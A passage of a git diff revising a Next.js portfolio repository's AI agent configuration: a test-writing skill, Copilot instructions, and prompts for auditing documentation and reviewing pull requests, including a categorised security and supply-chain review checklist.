relied on as stable will eventually differ. Sort before asserting. +- **An unawaited promise** produces a race between the assertion and the work. +- **A real network call or a sleep** in a test is a flake and a slowdown at once. +- **An assertion racing an animation or transition** passes on a fast machine and fails on a loaded one. + +## Accessibility assertions + +Assert through roles and accessible names rather than through class names or test identifiers where the framework's testing library supports it. A query by role fails when the element stops being reachable to assistive technology, which is behaviour worth locking in; a query by class name passes right through that break. + +Where a dedicated accessibility assertion library is not installed for unit tests, that check usually lives in the project's end-to-end suite. Confirm which, rather than adding a dependency. + +## Running tests and reading the result + +- Run the single file first, then the suite. +- **Confirm the reported test count.** A runner configured to pass when no tests matched exits 0 on zero tests, so a green exit alone does not prove anything executed. +- **Confirm the exit code rather than reading the output.** Failures surface at the end of a long log, and scrolling is not a check. +- Where the project chains its gates with `&&`, a failure in an early step means the later steps never ran. Never record those as passed. diff --git a/.claude/skills/write-tests/SKILL.md b/.claude/skills/write-tests/SKILL.md index 4908f034..b21f9e55 100644 --- a/.claude/skills/write-tests/SKILL.md +++ b/.claude/skills/write-tests/SKILL.md @@ -5,40 +5,16 @@ description: Author or repair a Jest or Cypress test in this repository's house # Write tests -The rules are in [`.claude/rules/testing.md`](../../rules/testing.md); this skill is the procedure for applying them. Style rules that are not test-specific are in [`code-style.md`](../../rules/code-style.md). +The rules live elsewhere; this skill is the repository procedure for applying them. -**Scope.** One test file per source file, colocated and same-named. Adding a test never means adding a second test file for a source that already has one. +- **Generic test discipline** (the mandate, one file per source, the prohibitions, naming, table-driven tests, the mocking ladder) is in [`typescript-code-and-test-standards`](../typescript-code-and-test-standards/SKILL.md). Read it first. +- **This repository's instances** (the closed mock boundary table, the test-file exemptions, the house render patterns, Cypress specifics) are in [`testing.md`](../../rules/testing.md). +- Style rules that are not test-specific are in [`code-style.md`](../../rules/code-style.md). -## Phases (run in order) +## Procedure -### 1. Read before writing - -Read the source **and** its existing test. A failing test needs both before you touch either: read the test, read the source, then name the cause. If the source is at fault, fix the source. Weakening the assertion, adding `.skip`, or adding a fallback in production code to make the test pass are all prohibited. - -Check whether the file is exempt from needing a test at all (static data, type-only modules, metadata route exports). Components are never exempt. - -### 2. Choose the shape - -Use `it.each` when rows vary input and expected output across the same code path; name every field, and never write a one-row table. Use a plain `it()` when the cases differ in what they assert rather than in their data, because a table whose rows run different code is a noisier loop. - -Title the `describe` after the subject and the `it` after the behaviour, in third person: `renders the ProjectsGrid title`. Do not open a new title with "should". - -### 3. Assert behaviour - -Every test answers one question: what behaviour does this lock in that a real future change could break? If the answer is nothing, do not write it. - -Reach for roles and accessible names (`getByRole('button', { name: /view more projects/i })`) before test IDs. Do not assert the types of already-typed values, restate the implementation, or write `expect(true).toBe(true)`. - -### 4. Do not mock - -Start from zero mocks and add one only when the real dependency cannot run in the test. Before writing any substitute, whether a mock, stub, fake, or behaviour-replacing spy, try in order: the real implementation with real inputs; passing the dependency in as an argument; a real fixture asserted on its real output; or moving the assertion to a level where the seam is real. - -Never mock code that holds logic (helpers, utilities, domain logic, components, hooks, constants, `src/data/`), and never mock the subject under test, even partially. Mock only at an input/output boundary, and only the outermost one the test needs: a third-party SDK that reaches the network, this repo's own wrapper around one when testing a consumer of it, framework context the renderer cannot supply (`next/navigation`), the clock, and browser APIs jsdom omits. Anything else needs a comment above it naming which boundary it crosses; if you cannot write that sentence, use the real thing. - -A mock added while chasing a red test hides the failure rather than fixing it. Read mock state with `jest.requireMock(...)` or `as jest.MockedFunction`, never `require()`. - -### 5. Validate - -Run the file first (`npx jest path/to/file.test.tsx`), then the suite (`npm run test:jest`), and confirm each exit code with `echo "EXIT: $?"`. `--passWithNoTests` means exit code 0 alone does not prove your test ran, so check the reported test count. - -Then run the rest of the gates per [`CLAUDE.md`](../../../CLAUDE.md), or delegate to the `validator` subagent. +1. **Read the source and its existing test before touching either.** For a failing test, name the cause in one sentence first, then decide which side is wrong. If the source is at fault, fix the source. +2. **Check the exemption list** in [`testing.md`](../../rules/testing.md) before adding a file. Components are never exempt, and a source that already has a test never gets a second one. +3. **Write the test**, applying the skill's rules for shape, naming, assertions, and mocking. +4. **Validate.** Run the file first (`npx jest path/to/file.test.tsx`), then the suite (`npm run test:jest`), confirming each exit code with `echo "EXIT: $?"`. `--passWithNoTests` means exit code 0 alone does not prove your test ran, so check the reported test count. +5. **Run the remaining gates** per [`CLAUDE.md`](../../../CLAUDE.md), or delegate to the `validator` subagent. diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md index 9cf78e84..2043d140 100644 --- a/.github/copilot-instructions.md +++ b/.github/copilot-instructions.md @@ -18,7 +18,7 @@ This is a **Next.js portfolio website** using the **App Router** (not Pages Rout ```bash npm run dev # Start dev server at localhost:3000 -npm run validate # Full CI check: prettier → eslint → tsc → jest → cypress → build → markdown +npm run validate # Full check: prettier → eslint → tsc → jest → cypress → build → markdown npm run test:jest # Unit tests only npm run test:cypress:e2e # E2E tests headless npm run build # Production build @@ -136,7 +136,7 @@ The module also exports `ANIMATIONS` and `MAX_STARS`. - Run `npm run tsc` to check types (no emit) - Do **not** "fix" an existing `any` by swapping it to `unknown` or adding an `eslint-disable`. Replace it with a concrete type, and respect an `any` that is intentional. -Follow the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html) except where this file or the framework overrides it. The deltas that matter (fuller digest in [`google-ts-style`](../.claude/skills/google-ts-style/SKILL.md)): +Follow the [Google TypeScript Style Guide](https://google.github.io/styleguide/tsguide.html) except where this file or the framework overrides it. The deltas that matter (fuller digest in [`google-typescript-style-digest.md`](../.claude/skills/typescript-code-and-test-standards/references/google-typescript-style-digest.md)): - **Naming**: `UpperCamelCase` types and components, `lowerCamelCase` values, `CONSTANT_CASE` module-level constants and enum values. Acronyms are words: `loadHttpUrl`, not `loadHTTPURL` - **Types**: `interface` for object shapes, not a `type` alias of an object literal; optional properties (`href?: string`) over `href: string | undefined`, with nullability added at the use site; `T[]` for simple element types and `Array` for complex ones; never `String`, `Number`, or `Boolean` as types @@ -233,8 +233,8 @@ logAnalyticsEvent('event_name', { params }); Architecture docs in `docs/architecture/`: -- `index.md`: System overview -- Component-specific docs for Avatar, Projects, Publications, etc. +- [`index.md`](../docs/architecture/index.md): system overview +- [`components/index.md`](../docs/architecture/components/index.md): per-component docs for Avatar, Projects, Publications, and the rest When writing or editing any Markdown, the canonical spec is [`audit-docs.prompt.md`](prompts/audit-docs.prompt.md). The always-apply subset: diff --git a/.github/prompts/audit-docs.prompt.md b/.github/prompts/audit-docs.prompt.md index 2566a8f3..013e8461 100644 --- a/.github/prompts/audit-docs.prompt.md +++ b/.github/prompts/audit-docs.prompt.md @@ -1,10 +1,8 @@ --- -title: 'Audit and Update docs/ Directory' -scope: 'repo' -labels: - - 'documentation' - - 'audit' - - 'maintenance' +description: 'Audit and update the docs/ directory so it matches the code, grounding every claim in a file opened this run.' +name: 'audit-docs' +argument-hint: '[paths or area to audit; defaults to the active pull request or working changes]' +agent: 'agent' --- ## Role & Purpose @@ -46,7 +44,7 @@ Execute all three phases in order. - **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the target. - **Actions:** scan for documentation and comments; read the current implementation of each documented element; verify it against actual code behaviour; correct or remove anything inaccurate or outdated; document every public symbol that lacks it; remove bloat, keeping "why" explanations, non-obvious "what" descriptions, and essential "how" for complex algorithms. Removing bloat means deleting comments that restate the code, never comments that explain a non-obvious internal. -- **Always document the public surface.** Every public or exported symbol carries a documentation comment, without exception, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs.** This rule obliges you to read the implementation, never to infer a description from the symbol's name. If you cannot verify what it does, say so in your output and leave it undocumented rather than writing a plausible guess, which is how drift starts. +- **Always document the public surface.** Every public or exported symbol carries a documentation comment, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs, and it comes first.** Reading the body is the precondition for writing the comment, not a step to infer around: not having got to it is no reason to skip it, and being unable to reach it is no reason to guess. Where you have not read the body, leave the symbol as it is and name it in your output. A public symbol left undocumented and reported is a compliant result; a comment written from the symbol's name is a defect, and it is the defect this rule exists to prevent. - **Do not restate what the language's own syntax declares**, such as a type, a visibility modifier, or an override marker. This governs what you write in a **new** documentation comment and never licenses removing an existing one. - **Correct an existing documentation tag; do not strip or delete it.** A parameter, return, throws, or example entry was written deliberately. Read enough surrounding code to judge it, then fix what is factually wrong and leave what is right, including parts a convention would omit in new code. Removing a tag, or a piece of one, because it looks redundant is restyling someone else's work, not auditing it. Delete a whole tag only when it is wrong and uncorrectable, such as one documenting a parameter the signature no longer has. Phase 2's "default to correcting, not deleting" governs in-code documentation too. - **Internal elements** are documented where the logic is complex or carries a gotcha or edge case. Delete an internal comment only when it restates the line beneath it, such as `// Increment counter` above a counter increment (delete the comment, keep the code). @@ -55,7 +53,7 @@ Execute all three phases in order. - **Contracts worth stating:** any cleanup the caller owns (a handle to close, a listener to remove, a subscription to cancel), the error values or exception types a caller can branch on, and a deprecation marker naming its replacement. A deprecation without migration directions is incomplete; add one only where it is provable under Rule 2. - **File-level headers:** where the language provides one, it states the file's contents, uses, or dependencies. Notes aimed at maintainers rather than consumers go with the implementation instead. - **Also remove:** outdated comments and orphaned TODO comments. -- **Output:** list the files changed and the kinds of change, or state "Phase 3: audited in-code documentation across X files, all accurate, no changes required." +- **Output:** list the files changed and the kinds of change, or state "Phase 3: audited in-code documentation across X files, all accurate, no changes required." List separately, under "Unverified", every claim you could not ground and every symbol whose behaviour you could not establish, so an unverified item lands in the report instead of in the documentation. --- @@ -69,18 +67,19 @@ Edit **documentation, never code behaviour**. In scope: markdown, text files, an ### Rule 2: Zero hallucination (strictly enforced) -Every statement must be grounded in code you have **opened and read in full during this run**. Do not document any file, function, or behaviour you have not actually read this session. +Every statement must be grounded in code you have **opened and read in full during this run**. Do not document any file, function, or behaviour you have not actually read this session. A search-result snippet, a repository map, a directory listing, a summary, a previous turn, and the file's own existing documentation are not sources; if one of those is all you have, open the file. **Verify before documenting any behaviour:** locate the exact file and symbol, read the whole implementation, trace it through its calls and conditionals, and identify the exact lines that perform the action. Document only what those lines provably do. **Do not infer behaviour** from a name, type, file location, config key, comment, or familiar pattern. Read the body: `deleteUser()` might only set a flag, a `utils/` folder might hold core logic, and a comment can be stale (when code and comment conflict, the code wins). -**The "prove it" test:** before writing any statement, name the file, symbol, and lines that prove it. If you cannot, do not write it. +**The "prove it" test:** before writing any statement, name the file, the symbol, and a short string copied character for character from the source that shows the behaviour. If you cannot, do not write it. **A line number is not proof.** It cannot be checked without opening the file, it drifts on the next edit, and it can be produced without reading anything; copying a string requires retrieval. The quote is for your own verification and does not go on the page: published prose cites the file and symbol through a link and nothing more. - ❌ "The system validates user input." (assumption) -- ✅ After reading [`validation.ts`](../src/validation.ts) lines 45-67: "User input is validated against the schema in [`validation.ts`](../src/validation.ts)." +- ❌ "After reading [`validation.ts`](../src/validation.ts) lines 45-67, user input is validated against the schema." (a line range is not evidence) +- ✅ Proof held: symbol `parseConfig` in [`config.ts`](../src/config.ts), quote `throw new RangeError('retries must be >= 0')`. Written: "[`parseConfig`](../src/config.ts) rejects a negative `retries` value with a `RangeError`." -**If you cannot verify, stay silent.** Do not guess, do not leave a TODO, and never write "appears to", "seems to", "likely", "probably", "should", or "will". Silence beats speculation. Never document planned or intended behaviour. For complex behaviour, confirm against two or three locations (definition, usage, test). +**If you cannot verify, keep it off the page and report it.** Do not guess, do not leave a TODO, and never write "appears to", "seems to", "likely", "probably", "should", or "will". Silence in the documentation beats speculation in it, and naming the gap in your output beats both. Never document planned or intended behaviour. For complex behaviour, confirm against two or three locations (definition, usage, test). ### Rule 3: Strict objectivity diff --git a/.github/prompts/audit-pr.prompt.md b/.github/prompts/audit-pr.prompt.md index e91caeb4..6dda1ad3 100644 --- a/.github/prompts/audit-pr.prompt.md +++ b/.github/prompts/audit-pr.prompt.md @@ -1,160 +1,261 @@ --- -title: 'Pull Request Review' -scope: 'selection' -labels: - - 'review' - - 'quality' - - 'security' - - 'testing' - - 'best-practices' +description: 'Review a pull request diff across triaged categories, quoting the changed line behind every finding.' +name: 'audit-pr' +argument-hint: '[pull request number or branch; defaults to the active pull request]' +agent: 'agent' --- -**Purpose:** -Act as a **Principal Code Reviewer**. Produce a thorough, opinionated review of `#activePullRequest` (including `#changes`) with ready-to-post comments and an overall summary that a human reviewer can verify and paste into the PR with minimal editing. +# Audit pull request ---- +Act as a principal code reviewer. Produce findings a human can verify and paste into the pull request with minimal editing. -## Hard Rules +## Scope -1. **Be specific.** Every finding must include: file path, line range, exact issue, and a concrete suggested fix where applicable. -2. **Be fair.** Praise good patterns — a review is not just a bug hunt. -3. **Triage clearly.** Every finding gets a severity: 🔴 **Blocking**, 🟡 **Non-blocking (should fix)**, 🔵 **Suggestion**, or ✅ **Positive callout**. -4. **Group by category.** Use the categories below. -5. **No invented issues.** Only flag what is clearly present in `#changes`. State uncertainty explicitly. -6. **Respect `any`.** Do NOT flag intentional `any` usage unless you can show a safer, non-breaking replacement. +**Resolve scope in this order and stop at the first rule that applies. Never widen it.** ---- +1. **An explicit instruction.** The pull request number or branch named when this was invoked. +2. **The active pull request** for the current branch. +3. **Uncommitted changes**, if no pull request exists. +4. **The commits on this branch that the default branch does not have**, if the working tree is clean. -## Finding Format +If none of those yields a diff, say so and stop. This prompt reviews a change; with no change to review there is nothing to report, and auditing the codebase instead is a different job with a different method. -Use this structure for every finding: +Review the diff plus whatever you must read to judge it. Reading a caller, a test, or a type definition outside the diff is expected and required by the refutation pass; reporting findings about unchanged code is not, except where this change makes it wrong. -```text -### [SEVERITY EMOJI] [Short Title] +## Context resolution + +GitHub Copilot resolves the references below automatically. Any other agent resolves each one with the listed equivalent before starting. If a source is unavailable, say so in the output and continue with what is available. -**File:** `path/to/file.ts`, lines X–Y -**Category:** [Category Name] +| Reference | GitHub Copilot | Claude Code and other agents | +| -------------------- | --------------------------- | --------------------------------------- | +| `#activePullRequest` | Active pull request | `gh pr diff`, or `git diff main...HEAD` | +| `#changes` | Uncommitted working changes | `git diff` and `git diff --staged` | +| `#codebase` | Workspace index | `Glob`, `Grep`, and `Read` | +| `#issue_fetch` | Linked issue | `gh issue view ` | -**Issue:** [What's wrong, what can go wrong, what rule/practice it violates] +## 1. Scope and evidence rules -**Code (current):** -[problematic snippet] +**Scope.** This run produces a review. It does not edit files and it does not fix what it finds. -**Suggested Fix:** -[corrected snippet or pseudocode — omit for questions/positive callouts] +1. **Quote the diff.** Every finding quotes the changed line it is about, copied verbatim from the diff. A finding whose quote you cannot produce is dropped, not softened and not reworded as a question. +2. **No line number you did not read.** Cite the file path and the quoted line. Do not write a line range you have not confirmed against the current file: a wrong number costs the reader more than an absent one. +3. **Only what changed, plus what the change breaks.** Flag pre-existing code only where this change makes it wrong, and label it as pre-existing when you do. +4. **Refute before you publish.** Section 6 is not optional. +5. **Respect intentional `any`** and its equivalents in other languages. Do not flag one unless you can name the concrete type that replaces it without breaking the build, and never launder one into a wider escape hatch to quiet a linter. Where a language offers a narrower spelling of the same idea, such as Go's `any` over `interface{}`, prefer it when the swap is safe. +6. **Say what the change does well**, held to the same evidence standard. A review is not only a bug hunt. +7. **Every finding carries a severity:** 🔴 blocking, 🟡 should fix, 🔵 suggestion, ✅ positive. +8. **State uncertainty explicitly** rather than hedging a finding into vagueness. "I could not determine whether X" is useful; "this may possibly be an issue" is not. + +## 2. Finding format + +```text +### [SEVERITY] [Short title] + +**File:** `path/to/file.ext` +**Category:** [category name] +**Changed line:** [the line from the diff, verbatim] + +**Issue:** what is wrong, what can go wrong, and which rule or practice it violates. + +**Suggested fix:** corrected snippet or pseudocode. Omit for questions and positive callouts. ``` ---- +## 3. Step 1: Pull request alignment -## Step 1 — PR Alignment Check +Before reviewing code, assess the change itself: -Before code review, assess the PR itself: +- **Title and description:** accurate and complete? +- **Linked ticket:** does the code implement what it describes? Call out gaps, scope creep, or unfinished work. Where no ticket is reachable, infer from the pull request context and say that you did. +- **Diff scope:** any files changed that seem unrelated to the stated purpose? +- **Breaking changes:** introduced without documentation? +- **Size:** too large to review meaningfully? Say so plainly, because it changes how much confidence the rest of this review carries. -- **Title & Description:** Accurate and complete? -- **Linked Ticket:** If a ticket/issue is linked, does the code implement what it describes? Call out gaps, scope creep, or unfinished work. - - Use `#issue_fetch` / `#issue_read` for GitHub Issues, or `#getJiraIssue` / `#searchJiraIssuesUsingJql` for Jira — if available. If unavailable, infer from PR context. -- **Diff Scope:** Any files changed that seem unrelated to the PR's stated purpose? -- **Breaking Changes:** Introduced without documentation? -- **PR Size:** Too large to review meaningfully? +Output a **pull request alignment summary** of three to eight sentences before any code-level finding. -Output a **PR Alignment Summary** (3–8 sentences) before code-level findings. +## 4. Step 2: Triage ---- +Read the whole diff once before writing any finding. Then use the table to decide which categories this diff activates. Enter a category only when its trigger appears in the changed lines. + +| # | Category | Enter when the diff contains | +| --- | ----------------------------- | -------------------------------------------------------------------------------------------------------- | +| 1 | Correctness and logic | Any changed behaviour. Always entered. | +| 2 | Security | User input, auth, secrets, network calls, file paths, rendered markup, model prompts | +| 3 | Privacy and data protection | Personal or health data, logs, analytics, third-party calls | +| 4 | Error handling and resilience | Try/catch, promise chains, external calls, new error types | +| 5 | Code quality and cleanliness | Any changed source file. Always entered. | +| 6 | Architecture and design | A new module, a new dependency between layers, a moved or split file | +| 7 | Testing | Any changed behaviour, or any changed test | +| 8 | Performance and efficiency | Loops over collections, queries, renders, payload sizes | +| 9 | Documentation and comments | A changed public surface, a changed comment, changed Markdown | +| 10 | Standards and style | Code in a language the project has a style guide for | +| 11 | Accessibility | Markup, styling, focus, colour, motion, or copy shown to users | +| 12 | Concurrency and shared state | Async, threads, workers, shared mutable state, locks | +| 13 | Environment parity | Environment variable reads, hosts, ports, paths, flags, clocks, locales, fixtures | +| 14 | Observability | A new failure mode, a new branch that can throw, changed logging | +| 15 | Dependencies and supply chain | A manifest or lockfile change, a new import, an install command, a workflow file | +| 16 | Licensing and provenance | A new dependency, a vendored file, a copied asset or snippet | +| 17 | Cost and billing exposure | A handler, trigger, scheduled job, query, workflow, asset pipeline, cache or retry config, or model call | +| 18 | Regulatory and compliance | Personal, health, financial, or biometric data, or a regulated jurisdiction | -## Step 2 — Code Review by Category +Name the categories you skipped, and why, in section 7. "No trigger in this diff" is a complete reason. Entering a category and not reporting the result is not. -Review `#activePullRequest #changes` across all applicable categories below. **Skip inapplicable categories** (e.g., Accessibility for pure backend changes) but explicitly state you skipped them and why. +## 5. Step 3: Review by category -The model knows standard review practices for each category. Focus your review effort on **what matters for this specific PR** rather than mechanically checking every generic sub-item. Key areas: +Two lenses are read alongside every category below rather than as categories of their own. -### 1. Correctness & Logic +**Maintainability, coupling, and reuse.** For every changed unit: does it depend on another module's internals rather than its interface, and would a change there force a change here? Does high-level policy depend on low-level detail rather than the reverse? Is business logic entangled with I/O, framework, or presentation so it cannot be exercised or reused on its own? Does one reason to change sit beside another in the same unit? How many files must change together the next time this behaviour changes? Is a value hardcoded that a consumer would want to configure, and is it named where a consumer can find it rather than buried in a function body? Is a dependency constructed inside the unit that uses it rather than passed in? Is a parameter list growing, or an interface carrying members most callers ignore? Is there shared mutable module state, or a circular import? **The counterweight, because it is this lens's own failure mode:** an abstraction with a single caller, a generic parameter with a single instantiation, and configuration nobody sets are premature, and premature generalization costs more than the duplication it removes. -Does the code do what the PR claims? Off-by-one errors, wrong conditionals, unhandled edge cases, runtime exceptions. +**Security and privacy in three directions.** Ask who each finding protects. _The end user:_ their data, session, device, and browser. _The host, system, and company:_ server-side request forgery, command injection, path traversal, unsafe deserialization, resource exhaustion, privilege escalation, over-scoped tokens, log injection, and internal hostnames, employee names, or infrastructure detail leaking into public source, comments, or source maps. _The developer and the build:_ whether cloning, installing, building, or opening this repository can compromise the machine that does it. -### 2. Security & Vulnerability +### 1. Correctness and logic -Input validation, injection risks (SQL/XSS/command/path traversal), auth/authz, hardcoded secrets, dependency vulnerabilities, HTTPS/TLS, CSRF/CORS, sensitive data exposure in errors/logs/responses. +Does the code do what the change claims? Off-by-one errors, wrong conditionals, unhandled edge cases, runtime exceptions. Also: boundary conditions, integer and floating-point precision, null against undefined confusion, type coercion, timezone and daylight-saving arithmetic, ordering assumptions, idempotency of anything that can be retried, and partial-failure states that leave data inconsistent. -### 3. Privacy & Data Protection +### 2. Security -PHI/PII data flow protection, encryption at rest/in transit, data minimization, logging leaks (never log: passwords, tokens, API keys, session IDs), RBAC for sensitive data. +Input validation, injection (SQL, cross-site scripting, command, path traversal), authentication and authorization, hardcoded secrets, dependency vulnerabilities, transport security, cross-site request forgery and cross-origin policy, and sensitive data exposed in errors, logs, or responses. Use the OWASP Top 10 as the baseline lens and the three directions above to decide who each finding protects. -### 4. Error Handling & Resilience +Where the diff touches model or agent code, add the OWASP Top 10 for LLM Applications: prompt injection, improper output handling, excessive agency, and sensitive information disclosure. Call out by name any model output used unvalidated as a path, query, command, or URL. -All error paths handled (including async rejections), no raw stack traces to users, retries/timeouts/circuit breakers for external calls, graceful degradation, consistent error types. +### 3. Privacy and data protection -### 5. Code Quality & Cleanliness +Personal and health data flow, encryption in transit and at rest, and access control for sensitive data. Minimization at the point of collection, not only at logging. Retention. Third-party SDK data egress and cross-border transfer. Telemetry defaults. Source map and stack trace leakage. Never logged: passwords, tokens, API keys, session identifiers, encryption keys. -Dead code, DRY violations, naming clarity, function complexity (>10 cyclomatic), code smells (magic numbers, feature envy, primitive obsession), spelling/grammar, formatting consistency. +### 4. Error handling and resilience -### 6. Architecture & Design +Every error path handled, including asynchronous rejections. No raw stack traces to users. Retries, timeouts, and circuit breakers for external calls. Graceful degradation and consistent error types. Also: error swallowing that changes control flow, retry without backoff or jitter, retry applied to a non-idempotent operation, absent timeouts, unbounded queues and buffers, cancellation not propagated, and error types a caller can actually branch on. -Tight coupling, SRP violations, inconsistent patterns, over-engineering, separation of concerns, circular dependencies. +### 5. Code quality and cleanliness + +Dead code, duplication, naming clarity, function complexity, magic numbers, and formatting consistency. Read this category through the maintainability lens above. + +**Test logic that reached production code:** a test-environment branch, an export that exists only so a test can reach it, a mock or sample value on a production path, a flag that disables behaviour under test. + +**Tells of generated code**, which are review targets rather than accusations: an abstraction with one caller, a generic parameter with one instantiation, a helper duplicating one already in the repository under a different name, an API call that is plausible but absent from the library's surface, error handling that catches and logs without changing the outcome, and a comment that narrates the change ("now uses X", "updated to handle Y") instead of describing the code. + +### 6. Architecture and design + +Tight coupling, single-responsibility violations, inconsistent patterns, over-engineering, separation of concerns, circular dependencies, dependency direction, module boundary violations, interface segregation, change amplification, and leaky abstractions. + +Read the change through two further lenses. **Scalability:** what this code does at ten and a hundred times the current data, users, or call rate, and whether it adds work that grows with input where constant work would do. **Maintainability:** what a reader six months from now needs that this diff does not tell them. ### 7. Testing -Tests for new/changed behavior covering happy paths and edge cases, meaningful assertions, descriptive names, no over-mocking ("if you mock everything, you test nothing"), no brittle/flaky tests. +Tests for new and changed behaviour covering happy paths and edge cases, meaningful assertions, descriptive names, no over-mocking ("if you mock everything, you test nothing"), no brittle tests. -### 8. Performance & Efficiency +**Missing edge cases:** the negative case for every positive assertion, plus empty, null and undefined, zero and one and the boundary either side of a limit, unicode with combining characters and right-to-left text, duplicate and out-of-order input, concurrent callers, and every error path the code can take. -O(n²) algorithms, N+1 queries, missing caching, unnecessary large payloads, sync blocking in async context, memory leaks (uncleaned listeners, subscriptions, handles). +**Flakiness in the code as well as the test:** wall-clock reads and date arithmetic, unseeded randomness, iteration order of a map, set, or directory listing relied on as stable, a promise not awaited, a real network call or sleep in a test, state shared between cases through a module-level variable, an assertion that races an animation or transition. -### 9. Documentation & Comments +The question that subsumes the rest: **would this test fail if the behaviour it names were broken?** -Public APIs documented, existing comments still accurate after changes, "why" comments for non-obvious logic, PR description updated, external docs still accurate (flag specific drift). +### 8. Performance and efficiency -### 10. Standards & Style +Algorithmic complexity, N+1 queries, missing caching, oversized payloads, synchronous blocking in an asynchronous context, and memory leaks from uncleaned listeners, subscriptions, or handles. Also: allocation in hot paths, recomputation and re-render, blocking the event loop, unbounded growth, missing pagination, and cold-start cost. -Apply the relevant style guide for the detected language(s) (e.g., Google Style Guides, PEP 8, Effective Go, W3C, CommonMark). Flag deviations from whichever standards the project follows. +### 9. Documentation and comments -### 11. Accessibility (UI changes only) +Public surfaces documented, existing comments still accurate after the change, why-comments for non-obvious logic, the pull request description updated, and external documentation still accurate. Flag specific drift as a finding. Correcting the documentation itself is separate work and is not part of this review. A deprecation names its replacement. A tunable value is documented by the name a consumer changes it by. -Semantic HTML, alt text/aria-labels, keyboard navigation, ARIA correctness, color contrast (4.5:1 normal, 3:1 large), form labels, `prefers-reduced-motion`, WCAG 2.1 AA. +### 10. Standards and style -### 12. Concurrency & Thread Safety (if applicable) +Apply the project's own configuration first: its formatter, linter, and documented conventions decide every question they cover, and a tool's exit code is better evidence than your reading. **Never report a violation of a rule the project has turned off.** -Unsynchronized shared state, race conditions, unhandled async errors, deadlock potential, idempotency. +Where the project leaves a question open and Google publishes a style guide for the language, use it as the default standard. Google publishes guides for C++, C#, Common Lisp, Go, HTML and CSS, Java, JavaScript, JSON, Markdown, Objective-C, Python, R, Shell, Swift, TypeScript, and Vim script, indexed at `https://google.github.io/styleguide/`. Where Google publishes none, use the language's own prevailing standard. -### 13. Regulatory & Compliance (if applicable) +**Flag the absence of the discipline, not the variant of the convention.** A codebase that consistently applies a different variant of a Google rule has a preference, and a preference is not a defect. What is a defect is having no convention at all, or one file that contradicts every other. -Only apply regulations relevant to the system's data/geography. State which are in scope and why. Check: HIPAA, GDPR, PIPEDA, PHIPA, PIPA as applicable. +Worked example. The Go style decisions document groups imports as standard library, then other project and vendored packages, then protocol buffer imports, then side-effect imports. A codebase that consistently groups them in a different order is expressing a preference: do not flag it. A file with its imports in one undifferentiated block, or grouped in an order no other file in the repository uses, is a finding, because the discipline is missing rather than varied. ---- +Before flagging any style deviation, read two or three other files of the same language. If the pattern holds across them it is a convention: report it once as an observation at most, never once per occurrence. If it holds nowhere else it is drift, and drift is the finding. A systematic deviation across a whole codebase is a discussion to open, never a per-file finding. + +### 11. Accessibility + +Target **WCAG 2.2 Level AA**, the current W3C Recommendation. Semantic markup, alternative text and accessible names, keyboard navigation, ARIA correctness, colour contrast (4.5:1 normal, 3:1 large), form labels and error feedback, and reduced-motion support. + +The criteria WCAG 2.2 adds over 2.1 are the ones most often missed: focus not obscured, focus appearance, target size, dragging movements having a single-pointer alternative, consistent help, redundant entry, and accessible authentication. + +### 12. Concurrency and shared state + +Unsynchronized shared state, race conditions, unhandled asynchronous errors, deadlock potential, and idempotency. Also: idempotency keys, at-least-once delivery assumptions, lock ordering, asynchronous cleanup and cancellation, and framework-specific races such as a stale closure or an effect that runs twice. -## Step 3 — Overall Summary +### 13. Environment parity + +Behaviour that differs between a developer machine, a hermetic or ephemeral container, dev, staging, and production. Check: environment variable reads with no default and no startup validation; hardcoded hosts, ports, URLs, and absolute paths; seed, fixture, or sample data assumed to be present; a feature flag whose default differs per environment; timezone, locale, and currency assumptions, including a test that passes only in one UTC offset; wall clock and randomness that CI cannot reproduce; filesystem case sensitivity and path separators; container against host networking, where `localhost` inside a container is not the host. + +### 14. Observability + +Can a reader debug this in production without reproducing it locally? Check: a log at the level that matches the event, structured rather than an interpolated sentence; a correlation or trace identifier that survives the asynchronous boundary; errors reaching the project's error tracker rather than being swallowed, or logged and then dropped; a metric or alert for each new failure mode the change introduces; and no personal or health data, token, key, session identifier, or full request body in any of it. + +### 15. Dependencies and supply chain + +Check every added or upgraded dependency and every lockfile entry against what the diff actually imports. Flag: a package name that does not exist, or differs by a character from the intended one, since a generated install command is the usual source; an unpinned or range-widened version on a security-relevant dependency; a source other than the project's usual registry, including a git URL or tarball; a maintainer or ownership change; a version that jumped without a changelog; a resolved URL pointing off-registry; a missing or altered integrity hash on an otherwise unchanged version. + +**Install-time code execution is checked by capability, not by field name.** Lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`) are the obvious vector, but a native-build hook such as a `binding.gyp` that triggers an implicit rebuild executes code too and evades checks that read only the lifecycle-script fields. **A valid provenance attestation does not establish that a release is safe:** a compromised maintainer account can produce one. + +Extend the same reasoning to the build and CI surface: a workflow that checks out an untrusted pull request head while holding write permissions or secrets, a third-party action referenced by a mutable tag rather than an immutable commit identifier, secrets reachable from fork pull requests, a self-hosted runner exposed to forks, and editor or container configuration that executes on open, such as an autorun task or a container post-create command. Agent configuration counts: a checked-in skill, rule, or settings file can grant broad tool access to anyone who trusts the repository. + +### 16. Licensing and provenance + +Check: code that reads as pasted from elsewhere, where the comment style, naming, or level of generality does not match the file around it, with no attribution; a vendored file or snippet whose origin and licence are not recorded; a new dependency whose licence conflicts with the project's own, including copyleft entering a permissive project; a copied image, font, icon set, or dataset without a licence permitting the use. Report what you can show and name the uncertainty. Do not accuse. + +### 17. Cost and billing exposure + +Judge against the project's deployment shape (static host, serverless, containers, managed database, CI provider), since a dimension the project does not bill is noise. + +**Blocking first, because these create unbounded spend rather than inefficiency:** a trigger whose handler writes back to what triggered it, such as a storage function writing into the bucket it watches, a database trigger updating the document that fired it, or a queue consumer republishing to its own topic; a retry policy with no attempt cap, backoff, or dead-letter destination, which multiplies invocations exactly when the system is already failing; fan-out with no 